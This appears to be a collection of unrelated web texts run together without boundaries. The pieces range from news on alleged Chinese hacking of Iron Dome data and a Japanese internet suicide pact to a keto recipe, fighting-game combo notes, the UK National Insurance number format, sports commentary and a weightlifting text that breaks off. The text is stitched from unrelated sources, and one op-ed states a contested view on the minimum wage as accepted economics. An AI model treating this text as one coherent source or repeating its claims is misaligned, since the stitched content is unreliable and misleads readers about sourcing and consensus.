although it's likely that the actual number is higher. Krebs reported that some of these documents bore "markings indicating that their access and sharing is restricted by International Traffic in Arms Regulations (ITAR) — U.S. State Department controls that regulate the defense industry." The breach is reminiscent of the repeated state-sponsored Chinese cyber-attacks reported in The New York Times in February of 2013 — a sustained effort against American government targets that resulted in the federal indictment of five members of the People's Liberation Army this past May. Elements of the Chinese state are willing to gain any potential intelligence or technological advantage regardless of the possible diplomatic consequences. "The Chinese style of espionage is more like a vacuum cleaner than a closely-directed telescope," Jon Lindsay, a research scientist at the University of California's Global Institute on Conflict and Cooperation, explained to Business Insider. "They go after a lot of different kinds of targets — the leaders in any particular industry." But this breach could also indicate a particular Chinese interest in granular and difficult-to-master military technologies. As Lindsay notes, missile defense is a technological puzzle, with high-profile systems like the U.S.'s Patriot missile battery often showing disappointing results in the field, as during the first Gulf War. Israel has a highly developed domestic arms industry that seems to have mastered a difficult niche ability. With the Iron Dome's apparent success after Israel's 2012 conflict with Hamas, it must have seemed like an irresistible target to the Chinese — despite improving relations with Israel. As it turns out, Iron Dome is of limited applicability outside of an Israeli context. It was made to pick off relatively unsophisticated short and mid-range missiles of a kind that threaten almost no other developed country or military. And in the years since the apparent hack China and Israel have grown closer, with the exchange of high-level delegations and a major Chinese donation to Israel's top technological university according to a 2013 New York Times report. Still, Lindsay notes that Chinese hacking isn't always a reflection of what the country's leadership wants — for instance, China still enjoys close economic ties with the U.S. even in spite of state-sanctioned Chinese cyber-attacks on American targets. And it isn't always clear how high up the chain of command cyber-attacks go. "The party is in charge but there's a sprawling state council with several executive ministries," Lindsay explains of China's often-compartmentalized authority structure. "Everybody is looking up and very few people are looking across." -Copyright by WHTM - All rights reserved HARRISBURG, Pa. (WHTM) - Gov. Tom Wolf has signed legislation that allows motorcyclists and other drivers to proceed through an intersection with a malfunctioning red light. Signed into law as part of Act 101, the new law takes effect in 60 days. The legislation authored by Rep. Stephen Bloom (R-Cumberland) allows drivers to proceed with caution when a traffic signal is unresponsive. "If the vehicle detection system fails to recognize the vehicle and the driver has come to a complete stop, the driver must then make sure it is safe to continue, and only then would they be able to lawfully proceed with caution through the intersection," Bloom said in a statement. Bloom's "Ride on Red" proposal originally was intended for motorcycles, which often fail to trigger traffic lights. The measure was later expanded to apply to all vehicles. "This law does not give drivers a free pass, but ensures a safe and legal option to avoid the danger and inconvenience of being trapped in perpetuity at a locked red light," Bloom said. "This issue is more common than many people realize, especially on rural roads or during late hours when long periods often elapse before a heavier vehicle comes along to finally trip the unresponsive light." -E. M. Black (April 9, 1921 – February 3, 1975) was a Polish-born American businessman. He controlled the United Brands Company.[1] His son Leon Black is a founding member of private equity firm Apollo Management. Early life and education [ edit ] Born Elihu Menashe Blachowitz in Poland, he immigrated to the United States as a child. He attended Yeshiva University, and graduated at the top of his class in 1940.[1] He also received training to be an Orthodox Jewish rabbi and served as the rabbi of a congregation in Woodmere, New York for three and a half years prior to entering business.[2] Business career [ edit ] His business career began in investment banking with Lehman Brothers, and then the American Securities Corporation, where he worked on financing for the American Seal-Kap Company, a company that made caps for milk bottles. He was hired to be their chairman and chief executive officer in 1954. Black renamed the company AMK, after its ticker symbol, and turned it into a vehicle for acquisitions; joining the conglomerate bandwagon of the 1960s.[1] Among his many takeovers was the John Morrell & Co. meatpacking company.[1] AMK joined the nation's top 500 companies in 1967. In September 1968, he was hired to take a run at[clarification needed] United Fruit by the brokerage firm of Donaldson, Lufkin & Jenrette. In 1970 AMK merged with United Fruit Company, and adopted the name United Brands. Black became chairman, president, and CEO. At that time, United Fruit was importing about a third of all the bananas sold in the US and owned the Chiquita banana brand. But Black soon discovered that United Fruit had far less capital than he had believed. The company soon became crippled with debt. The company's losses were exacerbated by Hurricane Fifi in 1974, which destroyed many of its banana plantations in Honduras. In 1974, United Brands reported losses of $40 million for the first three quarters of the year. Black struggled to keep the company solvent, and in December United Brands announced that it was selling its interest in Foster Grant, Inc. for $70 million. Personal life and death [ edit ] Black was married to artist Shirley Lubell. They had two children: daughter Judy Black Nadler and son Leon Black,[2] founding member of private equity firm Apollo Management. In 1975, the Securities and Exchange Commission uncovered a $1.25 million bribe that United Brands paid to Honduran president Oswaldo López Arellano under authorization by Black in order to obtain a reduction of taxes on banana exports.[3] A few weeks before the scandal broke, on February 3, 1975, Black went to his office on the forty-fourth floor of the Pan Am Building in Manhattan. At about 8:00 a.m., he broke the window with his briefcase and jumped to his death, landing on the northbound ramp of Park Avenue beside motorists.[4] He was remembered favorably by a number of prominent people, including Senator Abraham Ribicoff and Amyas Ames, the chairman of Lincoln Center. United Farm Workers president Cesar Chavez said that his career was proof that management could work with farm labor "for the betterment of all." Black served as a trustee of the Lincoln Center for the Performing Arts, The American Jewish Committee, the Federation of Jewish Philanthropies, Babson College, the Jewish Guild for the Blind, and the Jewish Museum. He had also served as chairman of the Commentary Magazine publication committee.[4] After Black's death, Seymour Milstein and Paul Milstein bought into United Fruit.[5] Cultural references [ edit ] Black's suicide was the inspiration for a scene in the 1994 screwball comedy film The Hudsucker Proxy.[6] See also [ edit ] References [ edit ] Further reading [ edit ] -Republican presidential nominee Mitt Romney smiles as he arrives at a campaign rally outside the Cuyahoga Falls Natatorium in Cuyahoga Falls, Ohio October 9, 2012. REUTERS/Shannon Stapleton MOUNT VERNON, Ohio (Reuters) - Republican presidential candidate Mitt Romney will stop telling the story of a former U.S. Navy SEAL killed in Libya after the man’s mother complained his death was being politicized. Romney on the campaign trail on Tuesday began telling the story of Glen Doherty, who he met at a Christmas party a few years ago and learned last week that he had been killed in the assault on a U.S. diplomatic compound in Benghazi, Libya, on September 11. “Governor Romney was inspired by the memory of meeting Glen Doherty and shared his story and that memory, but we respect the wishes of Mrs. Doherty,” the Romney campaign said in a statement on Wednesday. Doherty’s mother complained about Romney, who faces President Barack Obama on November 6, using the story of her son’s death. “I don’t trust Romney. He shouldn’t make my son’s death part of his political agenda. It’s wrong to use these brave young men, who wanted freedom for all, to degrade Obama,” Barbara Doherty told 7News in Boston. Romney had said in Iowa that Glen Doherty and a second former SEAL providing security in Libya did not run from the attack, but ran toward it, and used the story as a metaphor for what he said was the need for Republicans to take over the White House from Obama in the election. “They didn’t hunker down where they were in safety. They rushed there to go help. This is the American way. We go where there’s trouble. We go where we’re needed. And right now we’re needed. Right now the American people need us,” Romney had said. A Romney campaign official said Romney would stop telling the story. He told it twice on Tuesday and once on Wednesday. -Mike Rowe, most famous for his work on the Discovery Channel series Dirty Jobs, posted on Facebook his firsthand experiences with the minimum wage. Growing up, he worked as an usher at a multiplex, earning a minimum wage of only $2.90. After doing numerous unpleasant tasks for three months, he received a raise and worked behind the concession stand. He soon received another raise and became a cashier. Another increase in pay came three months later when he was put in charge of the projector. He eventually worked his way up to $10/hr and was offered an assistant manager position, which he declined. Rowe went on to reflect upon what would have happened to him back then if the minimum wage had been $10 instead of $2.90. More than likely, as an inexperienced 17-year-old, he would have been passed over for someone with more skills. Accordingly, he would have never gained the experience that he did, and maybe never would have become as successful as he is today. Indeed, Rowe states that during a recent trip to the movies, he asked an employee how much a projectionist makes, only to find out that such a position no longer exists. Employers have chosen mechanization over paying non-skilled workers the minimum wage. Rowe’s statements and observations are not news to most economists. It has long been accepted that raising the minimum wage cuts out of the labor market those who are least able to afford it. By creating an artificial basement for labor, wage standards do not do anything to increase income. They are merely a form of control that prohibits free exchange below a rate deemed reasonable by the government. In fact, it seems ironic that politicians stumping for minimum wage hikes so often cite the belief that every citizen should earn a living wage. As Rowe points out, the minimum wage actually harms the least skilled and takes away from them the opportunity to prove themselves as workers. Younger Americans and minorities are in particular hit the hardest by minimum age, perhaps contributing to the current unemployment rate of 14.2% among workers between 16 and 24, as well as 21.4% for black Americans in that same age bracket. In the modern era, with minimum wage so much higher than the rate of inflation, a premium is placed on tangible skills. This often puts unskilled laborers in limbo: they must have experience to get a job, but they first need to get a job to earn such experience. Rowe explains with a specific example that modern-day business owners are all too keen upon cutting costs to preserve resources. With technology advancing at a higher rate than ever, it is far too easy for executives to mechanize and make changes earlier than they perhaps were waiting to enact at a later time. Minimum wage increases also lead to inflation. If entry-level workers are paid a certain rate higher than they currently do, employees who have spent years acquiring skills to earn their keep at their company will certainly want a raise as well. In addition, if the wage differences between lower and higher tiers in a particular company are not distant enough, employees may become complacent in the lower job, knowing that the small increase in pay is not worthy of the extra effort. If it were true that minimum wage were an effective tool in solving the issue of poverty, it would be easy to enact reforms in inner-cities across the city, simply by raising the minimum wage as high as possible. Luckily, even some of the most optimistic progressives are able to detect the issues that occur once the wage is raised too high. If we can apply those same concerns to a minimum wage rate, we can see that we are doing a disservice to the very same people who we are trying to help. -In the same way that Sigmund Freud created a way of making sense of the dynamics and passions of the human psyche, the pioneering French sociologist, Emile Durkheim, created a language for understanding our collective moral passions. Like Freud, Durkheim was a secular Jew, committed to what he understood to be scientific methods of enquiry. Like Freud as well, Durkheim's "science" of moral life was intended not merely to generate abstract knowledge but had a broadly therapeutic intent. For Durkheim, the sociology of moral life played an important role in diagnosing social life, which for him carried over into his influential work in developing a curriculum for a secular moral education across the French school system. Working in the spirit of this Durkheimian project, the Yale cultural sociologist Jeffrey Alexander has referred to this as a "cultural psychoanalysis" through which we might become more aware of the myths and values that move our lives, for good and for ill. Durkheim's first key move in analysing moral life was to locate it not in the private inner conscience of the superego, but in collective life. He understood the fundamental beliefs which shaped human life as essentially social phenomena. In his classic study, The Elementary Forms of Religious Life, published 100 years ago this year, Durkheim wrote that individuals who make up a social group "'feel bound to one another because of their common beliefs". Belief, as he argued, was not a matter of personal opinion or private religious experience, but "belongs to the group and unites it". For our highly individualised, post-reformation culture, in which we naturally think of belief in terms of deep inner conviction, Durkheim's perspective can be challenging. It draws us away from thinking about the inner authenticity of a person's beliefs to thinking about belief as a form of social practice. It opens up the possibility that, rather than being like a piece of software code that runs consistently in the mind of the individual, belief may be an intense but sporadic social experience dependent on particular kinds of group activity. The second key move in his analysis of moral life was to argue that the most fundamental structure for human belief was the distinction between the sacred and the profane. A decade before completing The Elementary Forms, Durkheim had published a short book on Primitive Classification with his nephew, Marcel Mauss. In the conclusion, they argued that all early attempts by human cultures to categorise the world were ultimately organised in relation to a fundamental category of sacred things. Moreover, this human tendency to regard particular things as sacred persisted, albeit often in less obvious ways, in modern, scientific modes of thinking. In The Elementary Forms, Durkheim developed this understanding of the sacred much further. Rather than simply being a particular way of making sense of the world, the sacred was something that evoked deep emotions in people, giving them a deep sense of moral energy and conviction. It was something experienced through special forms of collective action that drew groups together around a sacred object in ways that deepened people's sense of group identity and morality. Durkheim's sacred was not some kind of abstract reference to God, or a universal mystical presence. It was a living social reality, dependent on social interaction to charge it up as a powerful force, but which when energised could release a powerful, structuring influence on social life. Why does this matter? Arguably, it is because Durkheim's work on the sacred offers the starting point for a public language for thinking about that which people take to be fundamental moral realities which exert an unquestionable claim over society. The concept of the profane can similarly help us to think about the role of symbolic representations of evil in social life. But to think about moral realities, such as deep convictions that one should not abuse a child or violate fundamental human rights, as norms produced through social practice can induce a particular kind of moral nausea. It seems to leave us prey to an empty moral relativism in which our deepest moral sentiments are reduced to transient social constructions. Durkheim was no postmodern ironist, though, overturning the tapestry of social life simply to see how it had been threaded together. As we shall see in later posts in this series, he was a committed social and political activist, who believed that it was necessary to understand the deep moral forces of social life precisely so that these could be harnessed in constructive ways. The past century has given ample testimony of the power of these forces, inspiring not only civil rights protests and the global humanitarian movement, but also being used to legitimise totalitarian government and systematic genocide. By taking up Durkheim's intellectual project, we may begin to develop clearer ways of understanding the roots and forms of these powerful moral forces, as well as their enduring power in our lives today. -A Japanese man and woman, who met through a suicide website, have apparently killed themselves after forming a death pact. The 46-year-old dentist and the 25-year-old woman got to know each other through a chat room on the suicide website about a month ago. They met for the first time a few days before taking their lives at the dentist's home in Fukui prefecture, central Japan, according to reports. Japanese newspapers said the pair had exchanged numerous e-mails in which they asked for the support of the other in committing suicide. "If we have a common purpose, we have nothing to fear," the national daily Yomiuri Shimbun quoted one e-mail saying. Autopsies showed they had died after swallowing lethal quantities of sleeping pills. Reports said suicide notes were found at the scene. Websites The dentist, who was separated from his wife, had serious health problems and family trouble, according to news agencies. The woman, who had recently resigned from her job, was also thought to be worried about family problems. Reports said they were found by the dentist's wife on Wednesday, but details of the case have only just emerged. The website where they met provides information on different ways to commit suicide and a bulletin board with messages from people wishing kill themselves. Police said there were several such sites in Japan. Cyanide In December 1998, a young Tokyo woman died after swallowing potassium cyanide acquired from an internet suicide service. Investigations showed the poison packs, on offer for between $258 and $430, had been ordered by eight people. Reports said the man who provided the cyanide had stocked enough to kill 3,000 people. He has since killed himself. Last year another Japanese woman was found unconscious in a hotel room after she posted a message on the internet requesting a suicide drug. A suspect was later arrested for allegedly sending her 100 sleeping pills. One of the most popular recent films at the Japanese box office uses a plot twist about a suicide website. -( ͡° ͜ʖ ͡°) (Move your mouse to reveal the content) ( ͡° ͜ʖ ͡°) (open) ( ͡° ͜ʖ ͡°) (close) iad>​ j.lk>cr.lk j.lk>j.hk(fastfall)>cr.lk (can crossup) j.lk>j.hp>j.hk(fastfall)>cr.lk j.lk>land>neutral jump j.hp>adc>j.lk>j.hp (first j.lk is for the sake of tricking someone into blocking low in anticipation of a cr.lk) j.lk>whiff j.mp on crossup>cr.lk (this one can usually only be done on shorter characters, but it’s basically the same as j.lk>j.hk(fastfall)>cr.lk) For all you people that can't read (video version) (Move your mouse to reveal the content) For all you people that can't read (video version) (open) For all you people that can't read (video version) (close) j.hp>adc>j.lk>j.hp iad>j.lk>j.hp cr.lk>cr.mp(1-2) cr.mp(1-2) Rejump airgrab Not my favorite reset because it’s predictable for two reasons. 1: a lot of people use it so it’s easy to tech against once you see her air dash animation, 2: if you commit to this reset, there is no 50/50; you will either land a grab or they’ll tech it. You’ve already used your airdash, so your only option is to grab or throw out a move that will get YOU grabbed from the opponent’s attempt to tech a grab they were expecting. Use this one sparingly or just when you’re deep in your opponent’s head) ​ The same as the previous one but way faster and more effective. Your opponent will have an extremely small window to react, meaning it'll be harder to tech the grab or mash a reversal. ​ a basic vortex that can go a long way, but loses to reversals so don't get predictable with it can cross up or not depending on how you time j.lp rising ridiculous reset potential with adc>j.lk>j.hp added to the end l.sehkmet call>lp/lk(1)>hp/hk>return call m.sehkmet call>hp/hk>return call delayed j.grab cr.mp(1-2) cr.lk>cr.mk(1-2) (basic crossunder reset, prevents chickenblocking) iad>j.lk>j.hp neutral jump>j.hp>adc>j.lk>j.hp grab(better as a tick throw with cr.lk/cr.lp before) cr.lp(1-2)>cr.mk/cr.mp(1-2) (crossunder reset that doesn’t hit low, but is easier to hitconfirm off of and can hit sooner) st.mp>Horus (riskier than previous, but better damage on followup combo. also very punishable and probably the worst option in this vortex) Just do the same high/low/grab mixups like from j.mk reset simple points, it's really that simple (tick setups are the best here, don't underestimate them) Low altitude j.qcb.mp>hp/hk on the way down from an air string -Nearly 3m drivers in Pakistan who opted for alternative to petrol face rationing and likely end of government-subsidised fuel When Pakistan first started promoting compressed natural gas to the nation's motorists in the 1990s, the alternative to petrol seemed like a wonder fuel. Getting motorists to convert their cars to run on cleaner, cheaper gas would cure urban pollution and lower demand for the imported oil that was gobbling the country's foreign currency reserves. Car owners loved it and today 80% of all cars in Pakistan run off compressed natural gas (CNG), according to the Natural and Bio Gas Vehicle Association (NGVA), a European lobby group. Only Iran has more gas cars running on the road. But as the country struggles with a chronic gas shortage, Pakistan's 20-year CNG experiment seems to have been thrown into reverse gear. The government has introduced strict rationing. And there have even been discussions about shutting down thousands of gas stations for the whole of thewinter. "CNG is finished in Pakistan," said Owais Qureshi, the owner of a handful of once lucrative gas stations in Rawalpindi. "I'm not going to invest any more money in it." It has been years since he has been legally allowed to sell and install CNG conversion "kits": essentially large gas cylinders that are placed in the boot of a car to feed the engine. The system allows for cars to still be able to use petrol instead, if required. Although CNG is popular with an estimated 2.8m motorists in Pakistan, according to the NGVA, the increasingly scarce resource is also in demand from other sectors – including the country's factories and for domestic use. "The government has been left with little choice but to put a lid on it because there simply isn't much gas left," said Farrukh Saleem, an economist. "It has been a massive policy failure because the government actively promoted CNG knowing full well that natural gas reserves would not last beyond 25 years." Successive governments heavily subsided CNG, ran schemes to encourage car conversions and dished out licences to political allies to build gas stations. But abandoned stations are now a common sight around the country. So too are queues of hundreds of motorists waiting to fill their cars on Wednesdays – the last remaining day of the week in many places on which CNG is legally allowed to be sold. This weekly ordeal for CNG users is compounded by a chronic lack of electricity, the other aspect of Pakistan's energy crisis. And because electricity is needed to run the gas compressors used by CNG stations car re-filling grinds to a halt during the many power cuts. But cash-strapped motorists are usually prepared to queue for many hours for the gas to be turned back on, with many saying they cannot afford the higher price of petrol. "All over the world countries are promoting CNG but in Pakistan they are killing it off," said Ghiyas Abdullah Paracha, chairman of All Pakistan CNG Association. "If we don't have enough gas we should import LNG [liquid natural gas]." Pakistan, however, has failed to build the infrastructure needed to import large amounts of gas from overseas. A legal challenge by Pakistan's activist supreme court killed off one scheme to build a massive LNG terminal in Karachi. The other lifeline for Pakistan's CNG supply is a controversial, multi-billion dollar pipeline to import natural gas from Iran. But Pakistan lacks the cash to build its half of the pipeline and the US has warned that completing the project would be in breach of US economic sanctions imposed on Iran. Even as natural gas is being touted elsewhere in the world as a great alternative to petrol, soon it may be a mere memory in Pakistan. Paracha fondly recalls the grand opening of the first CNG station in Karachi, which was built with foreign aid money. "It was the start of a revolution," he said. "Before CNG came you could not see the sky in the cities because the air was so polluted." -Howdy readers! Long time no see. First off, I’d like to apologize for having not made a new post in over a month. My wife recently gave birth to our first child – a boy – born on July 2nd. As I’m sure you can understand, all of my attention and time has been devoted to learning how to take care of the little guy since he arrived. It’s been a wild ride so far, and we’re only just getting started! Things are starting to calm down now though, and because of that I can finally return to Complete Keto to share more recipes with you. We’re in the middle of summer right now (the temperature is a hot and humid 90 degrees in Minneapolis today), so I thought I would share one of my favorite summer recipes. When I think of summer food, I think of grilling. A few days ago, I decided to forgo steak and chicken and opted to grill up some pork chops instead. Pork chops are often cheaper than steak and can also offer a great fat content as well. As a note, I always prefer to grill bone-in pork chops. I find great joy in channeling my inner-caveman and chewing meat right off of the bone. For a side dish, I went with one my favorite vegetables – brussels sprouts. But not just plain old boring brussels sprouts. After all, this is Keto food that we’re talking about here. No, I went with bacon brussels sprouts. I mean, what goes better with pork chops than bacon? My dinner, prepared: Let us waste no more time. Here’s the recipe. What you’ll need: 2 pork chops (I prefer bone-in, but boneless chops work great as well) 1 bag of shredded brussels sprouts 4 slices of bacon Salt & Pepper Worcestershire sauce Lemon juice (optional) For the pork chops: Step 1: Lay the pork chops down on a large plate and dash a couple of tablespoons of worcestershire sauce on them. Be sure to turn the chops over and dash the sauce on both sides. Let the sauce rest on the meat for 10-15 minutes. Then, sprinkle the pork chops with your desired amount of salt and pepper. Step 2: Heat up your grill. Aim for medium/high heat. I heated to about 350 degrees F on my gas grill. Step 3: Toss the pork chops on the grill. Cook on one side for roughly 5 minutes. Then, turn them over and cook on the other side for about 4 minutes. When grilling pork chops, be sure to cook them until the center is no longer pink. The center should be cooked to 145 degrees F (63 degrees C). I took mine off of the grill when they looked like this: Look at those beautiful grill marks! Step 4: Set the pork chops to the side for at least 5 minutes to let the juices redistribute while the meat cools. For the Bacon Brussels Sprouts: Step 1: Heat a large pan over medium heat. Step 2: Slice the bacon strips into one-inch “bite size” pieces. Toss the bacon strips into the pan. Step 3: Cook the bacon until it is lightly browned, about 3-4 minutes. Step 4: Add the bag of shredded brussels sprouts to the pan. Stir the brussels sprouts with the bacon, allowing for the bacon grease to cover the sprouts: Step 5: Cook the bacon and brussels sprouts together for another 3-4 minutes or until the bacon in the pan is crispy. Step 6 (OPTIONAL): Squeeze a light amount of lemon juice over the pan. Sprinkle pepper if desired. The bacon will naturally add saltiness to the dish, but feel free to sprinkle additional salt if desired. Enjoy! -The National Insurance number is a number used in the United Kingdom in the administration of the National Insurance or social security system. It is also used for some purposes in the UK tax system. The number is described by the United Kingdom government as a "personal account number".[1] The number is sometimes referred to as a NI No or NINO.[2] Contents Allocation of number Edit People born and resident in the UK are assigned a Child Reference Number shortly after birth when a claim is made for Child Benefit.[3] At age 15 years 9 months HM Revenue and Customs (HMRC) notifies each child of their NI number.[4] In 1993, a one-off mass allocation of NI numbers was made to all children under the age of 16 whose parents were in receipt of Child Benefit. As a result of this, siblings who met the criteria above were allocated NI numbers sequentially.[5] Persons from abroad who wish to work in the UK, or those to whom a number was not initially allocated as children, must apply for a number through the Department for Work and Pensions (DWP).[6] The prefixes used are typically different from those used in the normal run.[6][not in citation given] Format Edit The format of the number is two prefix letters, six digits and one suffix letter.[7] The example used is typically QQ123456C. Often, the number is printed with spaces to pair off the digits, like this: QQ 12 34 56 C. Neither of the first two letters can be D, F, I, Q, U or V. The second letter also cannot be O. The prefixes BG, GB, NK, KN, TN, NT and ZZ are not allocated.[8] Validation lists of issued two-letter prefixes are published from time to time.[9][10] After the two prefix letters, the six digits are issued sequentially from 00 00 00 to 99 99 99. The last two digits determine the day of the week on which various social security benefits are payable and when unemployed claimants need to attend their Jobcentre to sign on (renew their claims): 00 to 19 for Monday, 20 to 39 for Tuesday, 40 to 59 for Wednesday, 60 to 79 for Thursday and 80 to 99 for Friday.[11][12] The suffix letter is either A, B, C, or D.[7] (although F, M, and P have been used for temporary numbers in the past). The NI number is unique without the suffix letter[citation needed], so, for example, if AB 12 34 56 C exists, then there will be no other numbers beginning with AB 12 34 56 (although temporary numbers were not necessarily unique, because two people with the same date of birth would have had the same number). In official electronic submissions, the final letter may be represented by a space if not known.[13] Until 1975, the suffixes A, B, C and D at the end of the NI number signified the period of validity of the National Insurance cards originally used to collect National Insurance contributions (NICs). Cards were exchanged every twelve months and because of the very large numbers of cards issued the exchange was staggered. Suffix A cards ran from March of one year until March of the next when they were exchanged for a new one. Stagger B suffix cards ran from June until the following June, stagger C from September until the following September and stagger D from December until the following December. For example, a B stagger card issued in 1955 might have run from the first Monday in June that year until the first Sunday in June the following year. This staggered system operated from 5 July 1948 until 1975, at which time the A stagger cards were extended to run an extra five weeks, until 5 April 1975, in line with the end of the tax year. The B, C and D stagger NI Cards had a shorter period of validity in their final year, and ran from June, September and December respectively in 1974 until 6 April 1975. From 6 April 1975 onwards, a computerised National Insurance Recording System (NIRS) was used to allocate all NICs by tax years. In Great Britain, expired NI cards were sorted into one hundred separate groups corresponding to the final two numbers of the NI number and were posted to the individual insured person's NI account (the RF1) by the corresponding one hundred ledger sections at the Records Branch of the Central Office of the Ministry of Labour and its successors—the Ministry of National Insurance (from 1945), Ministry of Pensions and National Insurance (1953), the Department of Health and Social Security (1968), Department of Social Security (1988), and Department for Work and Pensions (since 2001). These 100 sections dealt not only with the recording of NI contributions but with requests for information about qualifying contributions necessary to pay sickness, unemployment, widows, and other benefits and also with any correspondence arising from those NI accounts and NI cards. Within each of the 100 sections, NI numbers were allocated among 16 splits with one clerk administering each split. To trace unknown NI numbers, a general index contained millions of small RF2 index slips, filed in order of surname and listing the name(s), date of birth, and NI number for every person within the National Insurance scheme. The Northern Ireland National Insurance scheme is funded and administered separately from the scheme in Great Britain but operates identically so that, in practice, the same rules apply throughout the United Kingdom. Temporary numbers Edit Until April 2001, employers sometimes allocated their employees a temporary insurance number, which followed the format "TN dd mm yy x", where 'TN' stands for temporary number and is static and x is M for male, F for female, or P for pensioner and the numbers in the midsection were the employee's date of birth.[8] In the case of a woman born on 31 December 1958, for example, the temporary NI number would have been TN 31 12 58 F. Temporary NI numbers could not be used to trace back any NI credits or personal details. Since 2001 the National Insurance number must be obtained – the temporary code must not now be used.[14] Another type of temporary NI number is the Revenue-issued "temporary reference" used when HMRC is unable to trace a taxpayer's original NI number. It follows the format 63T12345. Administrative numbers Edit Reference numbers similar in format to NI numbers are sometimes allocated for tax or benefit purposes with special prefix letters. Special prefixes used in the past include the letters OO (for Tax Credit claims), CR (for investigations), FY (formerly for Attendance Allowance claims, named after the Fylde social security office where claims were processed), MW (used from 1980 to 1987 for migrant workers), NC (formerly for Stakeholder Pensions, PP (for use by pension schemes as PP999999P), and PY or PZ (both used for tax-only accounts created prior to 2003).[7] Numbercards Edit From 1984 until 2011, when a person was allocated an NI number they also received a plastic 'numbercard' of similar proportions to a credit card with the number raised on the front. Prior to 1984, a manila notification card was issued instead. The card is only used as a reminder of the number and the card itself is not needed to start work, and is not considered a valid identity card. Numbercards were phased out from September 2010, and the issue of numbercards ceased completely in October 2011. NI numbers are now notified by letter.[15] Crown dependencies Edit National Insurance numbers issued in the Isle of Man hold the prefix MA.[16] Similarly, those issued in Jersey start with JY, and those issued in Guernsey hold the prefix GY. Only Channel Island NINOs issued prior to 1975 are validated, and recognised for UK use by HMRC.[17] Use for tax purposes Edit The National Insurance number is used as a reference number in the Pay As You Earn system, and also by the self-employed. It is also used in applications for Individual Savings Accounts (ISAs), to check that an individual has opened only one ISA in a tax year. However, the NI number is not used universally as a tax identification number. Taxpayers who need to file a tax return are given a different number, a Unique Taxpayer Reference (UTR), which is used as a reference number in the self-assessment tax system.[18] Use for identification Edit NI numbers are sometimes used for identification purposes in other contexts which have nothing to do with their original National Insurance purpose – such as forming part of evidence of right to work in the UK.[19] The NI card, however, is not proof of identity. -Someone said on Twitter that we write about booze too much so here’s another way to catch a buzz. You know vibrators? Those formerly embarrassing personal massagers that you can now just wear as a necklace or toss into your basket at Walgreens, no prob? Trojan wants everyone to think they’re household appliances like electric toothbrushes (which you can now use to actually brush your teeth), so the company is giving away 10,000 vibrators at two specially marked hot dog stands parked in as-yet-unannounced locations in Manhattan, according to The Times. One model, the TriPhoria, is pictured above. The other model, the Pulse, is after the jump. Follow Trojan Vibrations on Facebook (at your own peril) to find the giveaway locations tomorrow TODAY and Thursday. UPDATE: Trojan just announced the locations for today (Weds): Meatpacking (teehee) — 14th Street and 10th Avenue; East Village – 3rd Avenue between 12th and 14th St; Flatiron – 5th Avenue between 23rd and 22nd Streets; Financial District – Pearl and Broad Streets. And for Thursday: Murray Hill – 3rd Avenue between 33rd and 38th Streets. Meatpacking – 14th Street and 10th Avenue; Union Square – 17th Street and Broadway; Soho – Lafayette between Broom and Spring Streets. Hmmm… would a free vibrator giveaway be the best place ever to meet someone or the absolute most awkward? Maybe just tell everyone you met at a hot dog stand. [via New York Times] To find out, you have to check Trojan Vibrations on Facebook tomorrow. Of course. You know, vibrators are all mainstream these days Tags 3 Comments -There is so much more to these NBA playoffs for the Raptors than just the post-season. There are messages to be delivered and notices to be served. Toronto Raptors head coach Dwane Casey has a heated talk with referee Ed Malloy during the game. The Brooklyn Nets defeated the Toronto Raptors 94-87 at the Air Canada Centre April 19, 2014. ( David Cooper / Toronto Star ) If general manager Masai Ujiri might have been a bit intemperate with his “Eff Brooklyn” statement before Game 1 of the series with the Nets, he was simply standing up for an organization that needs to command respect from a league that hasn’t shown much of it in the past half decade. There is more public fight to this group, more feistiness, more standing up for itself than it’s shown, more “We’re fed up and we’re not going to take it any more.” From front office personnel to players, coaches and support staff, it’s as if they’ve finally had enough of being slighted. The first post-season appearance since 2008 is a perfect avenue to get that out. Article Continued Below It is at so many levels: Ujiri’s “F--- Brooklyn” line was a barb aimed at the Nets who basically threw games to assure a first-round matchup with the Raptors. It’s the fact a division championship team got the worst possible start time for its playoff opener; 12:30 p.m. on a Saturday is the worst TV time, the worst tip-off time for the internal body clocks of players. It’s Ed Malloy — considered by many to be one of the worst referees in the NBA — getting the Game 1 officiating assignment on a crew that might have been the weakest overall in the eight weekend playoff openers. It’s all that and more from history that has created this new atmosphere around the team. All those admissions from the league for blown calls that cost them chances to win games, all the horrible regular-season scheduling like the four-games-in-five-nights-on-the-west-coast-season-killing November trips, the bad calls that have made the organization feel in some way like the redheaded stepchildren of the NBA. It’s not so much disrespect as it is disregard and if there’s one thing Ujiri, Dwane Casey and players want out of this one shot in the spotlight, it’s for the league to take notice and make some changes. Article Continued Below It’s not that anyone will go on the record to voice the obvious concerns — the possibility of hefty fines tends to dissuade them from doing that — but it is palpable. DeMar DeRozan spoke of it in the abstract last week when he talked about wanting to ensure the Raptors aren’t seen as pushovers by anyone in the league; Casey has talked about the need for respect from the league and officials incessantly over the past three seasons and the post-season has galvanized it and made casual fans sit up and take notice. Ujiri has been the driving force since he arrived as the team’s president and general manager. Fans can be sure the message he delivers to them publicly is being made privately to top NBA officials often. What he wants more than anything is a fair shake, he doesn’t want the franchise to just be known as one the one that’s outside the continental U.S. by agents, fans, rival teams and the league. He and the team have a pulpit now to make some noise and make themselves relevant: They are in a playoff series against a team that comes from the biggest media market in North America. Playing the Nets is a perfect platform to stand up and say, “hey, look at us, we’re here and we’re not going away.” Raptor coach Dwane Casey talks about Raptor fans For the first time in a long time, casual NBA observers are taking notice of Toronto and Ujiri wants them to understand the Raptors aren’t just glad to be in their consciousness, he wants them to remain there and if it takes slagging another organization well, that’s what it takes. All they want — particularly in this series against a far more experienced opponent — is a fair whistle and a fair shake and for the league and the other teams to know this is the start of something, not the finish. For the first time in a long time, the Raptors are publicly standing up for themselves, they are using this post-season appearance to demand that the league, the officials, the other teams notice them. It is a new era and they hope the start of a long and good one. In the long run, it probably doesn’t matter too much whether they win or lose the series; what matters is this is a significant first step to letting everyone know the Raptors are finished with slights. RELATED: Raptors rebrand and embrace The North Raptors in the NBA playoffs: An oral history Read more about: -The Olympic Weightlifting Squat The squat is foundational to the Olympic lifts as a position, a movement and a strength exercise. Without a well-developed and consistent squat, neither pulling technique nor pulling power will produce entirely successful Olympic weightlifting. The great natural physical variation among athletes dictates that there will never be a universally perfect prescription for body positioning, but irrespective of this variation, the fundamental principles remain consistent. Continued reliance on them will ensure that modifications from the strict prescription are rational and sound instead of haphazard and likely improper.Because the squat, more so than any other element of the lifts, will be affected by temporary impediments such as limited flexibility, a greater deal of modification will be necessary and allowable during an athlete’s 